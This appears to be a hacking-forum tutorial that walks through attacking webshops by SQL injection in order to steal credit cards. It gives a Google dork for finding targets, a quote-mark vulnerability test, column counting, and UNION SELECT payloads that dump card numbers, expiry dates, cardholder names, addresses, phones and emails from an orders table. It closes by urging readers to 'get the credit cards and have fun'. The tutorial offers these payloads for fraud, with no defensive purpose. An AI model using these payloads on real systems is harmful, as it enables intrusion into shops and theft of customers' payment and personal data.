Webshop Hacking (Credit Cards)

Webshop Hacking (Credit Cards)
1) we got to search google for webshops , I used this dork :

Code:

inurl:customer_testimonials.php testimonial_id=

2)lets say we got this site 

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7

3) we got to check if its vulnerable to SQLi , we add this 

Code:

     '

to url :
>>>

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7'

if we get a error means website its vuln.

4) we have to check for column number we try with 10 first

Code:

  +order+by+10-

- :
>>>

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+order+by+10--

if we dont get a error means the website has more then 10 columns , if we get a error means the website has less then 10 columns

5 )this time we get a error now we try from 1 to 9

Code:

   +union+select+1,2,3,4,5,6,7,8,9--

>>>

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,3,4,5,6,7,8,9--

now we found it the website has 9 columns

6) most of time we can get infos from table 3 and 6 , lets say now we can from 3 xD , now we can get database user , database name and database version in this way :

*- database user

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,user(),4,5,6,7,8,9--

*- database name

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,database(),4,5,6,7,8,9--

*- database version

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,version(),4,5,6,7,8,9--

7) we need the table names we add this to url :

Code:

 +union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables--

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables--

8) now we need columns : we add this to url :

Code:

+union+select+1,2,concat(table_name,char(58),column_name),4,5,6,7,8,9+from+information_schema.columns--

>>>

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,concat(table_name,char(58),column_name),4,5,6,7,8,9+from+information_schema.columns--

9) now all we got to do is view the orders and customers infos (there are the credit cards xD) : if we add this to url we will get credit card numbers , payment method , credit card type ......

Code:

+union+select+1,2,concat(payment_method,char(58),cc_type,char(58),cc_number,char(58),cc_expires),4,5,6,7,8,9fromorders--

>>>

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,concat(payment_method,char(58),cc_type,char(58),cc_number,char(58),cc_expires),4,5,6,7,8,9+from+orders--

if we add this to url we will get many infos about costumers , address , phone number , e-mails , zip code , and the credit card infos all of them

Code:

+union+select+1,2,concat(orders_id,0x2F,cc_type,0x2F,cc_owner,0x2F,cc_number,0x2F,cc_expires,0x2F,customers_street_address,0x2F,customers_suburb,0x2F,customers_city,0x2F,customers_postcode,0x2F,customers_state,0x2F,customers_country,0x2F,customers_telephone,0x2F,customers_email_address,0x2F,date_purchased),4,5,6,7,8,9+from+orders+

>>>

Code:

http://www.JustExample.com
/customer_testimonials.php?&testimonial_id=7+union+select+1,2,concat(orders_id,0x2F,cc_type,0x2F,cc_owner,0x2F,cc_number,0x2F,cc_expires,0x2F,customers_street_address,0x2F,customers_suburb,0x2F,customers_city,0x2F,customers_postcode,0x2F,customers_state,0x2F,customers_country,0x2F,customers_telephone,0x2F,customers_email_address,0x2F,date_purchased),4,5,6,7,8,9+from+orders+

now one step left

10 ) get the credit cards and have fun